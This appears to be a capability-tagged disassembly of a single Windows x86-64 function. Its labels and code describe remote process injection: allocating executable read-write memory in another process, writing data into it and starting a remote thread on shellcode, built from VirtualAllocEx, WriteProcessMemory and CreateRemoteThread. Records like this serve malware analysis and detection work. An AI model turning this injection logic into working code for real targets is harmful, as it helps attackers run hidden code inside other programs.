Function at 0x1800022c0
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 0x20], r9
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x110
mov rdi, rsp
mov ecx, 0x44
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rcx, qword [rsp + 0x120]
mov rax, qword [0x18001a010]
xor rax, rsp
mov qword [rsp + 0x100], rax
lea rcx, [0x18001e01f]
call fcn.18000de3c
mov qword [rsp + 0x48], 0
mov dword [rsp + 0x64], 0
cmp qword [rsp + 0x120], 0
je 0x180002342
cmp qword [rsp + 0x128], 0
je 0x180002342
cmp dword [rsp + 0x130], 0
jne 0x180002347
jmp 0x18000259b
mov rcx, qword [rsp + 0x128]
call fcn.180001d80
mov dword [rsp + 0x74], eax
cmp dword [rsp + 0x74], 0
jne 0x180002364
jmp 0x18000259b
mov eax, dword [rsp + 0x130]
mov ecx, dword [rsp + 0x150]
lea eax, [rax + rcx + 0x40]
mov dword [rsp + 0x78], eax
mov eax, dword [rsp + 0x78]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, eax
xor edx, edx
mov rcx, qword [rsp + 0x120]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x80], rax
cmp qword [rsp + 0x80], 0
jne 0x1800023b7
jmp 0x18000259b
mov eax, dword [rsp + 0x130]
mov qword [rsp + 0x20], 0
mov r9d, eax
mov r8, qword [rsp + 0x128]
mov rdx, qword [rsp + 0x80]
mov rcx, qword [rsp + 0x120]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x1800023f1
jmp 0x18000259b
mov eax, dword [rsp + 0x74]
mov rcx, qword [rsp + 0x80]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x88], rax
mov eax, dword [rsp + 0x130]
mov rcx, qword [rsp + 0x80]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x90], rax
mov eax, dword [rsp + 0x150]
mov qword [rsp + 0x20], 0
mov r9d, eax
mov r8, qword [rsp + 0x148]
mov rdx, qword [rsp + 0x90]
mov rcx, qword [rsp + 0x120]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x180002462
jmp 0x18000259b
mov eax, dword [rsp + 0x150]
mov rcx, qword [rsp + 0x90]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x98], rax
lea rax, [rsp + 0xb0]
mov rdi, rax
xor eax, eax
mov ecx, 0x40
rep stosb byte [rdi], al
mov rax, qword [rsp + 0x88]
mov qword [rsp + 0x38], rax
mov eax, dword [rsp + 0x150]
mov dword [rsp + 0x30], eax
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x28], rax
mov eax, dword [rsp + 0x140]
mov dword [rsp + 0x20], eax
mov r9, qword [rsp + 0x80]
mov r8, qword [rsp + 0x138]
mov edx, 0x40
lea rcx, [rsp + 0xb0]
call fcn.180001fe0
mov dword [rsp + 0xf4], eax
cmp dword [rsp + 0xf4], 0
ja 0x1800024fb
jmp 0x18000259b
mov eax, dword [rsp + 0xf4]
mov qword [rsp + 0x20], 0
mov r9d, eax
lea r8, [rsp + 0xb0]
mov rdx, qword [rsp + 0x98]
mov rcx, qword [rsp + 0x120]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x180002532
jmp 0x18000259b
mov eax, dword [rsp + 0x78]
mov r8d, eax
mov rdx, qword [rsp + 0x80]
mov rcx, qword [rsp + 0x120]
call qword [sym.imp.KERNEL32.dll_FlushInstructionCache]
lea rax, [rsp + 0x64]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], 0
mov rax, qword [rsp + 0x138]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x98]
mov r8d, 0x100000
xor edx, edx
mov rcx, qword [rsp + 0x120]
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov qword [rsp + 0x48], rax
xor eax, eax
test eax, eax
jne 0x180002322
jmp 0x1800025a6
mov rax, qword [rsp + 0x48]
mov rdi, rax
mov rcx, rsp
lea rdx, [0x180017240]
call fcn.18000ddc8
mov rax, rdi
mov rcx, qword [rsp + 0x100]
xor rcx, rsp
call fcn.180002780
add rsp, 0x110
pop rdi
ret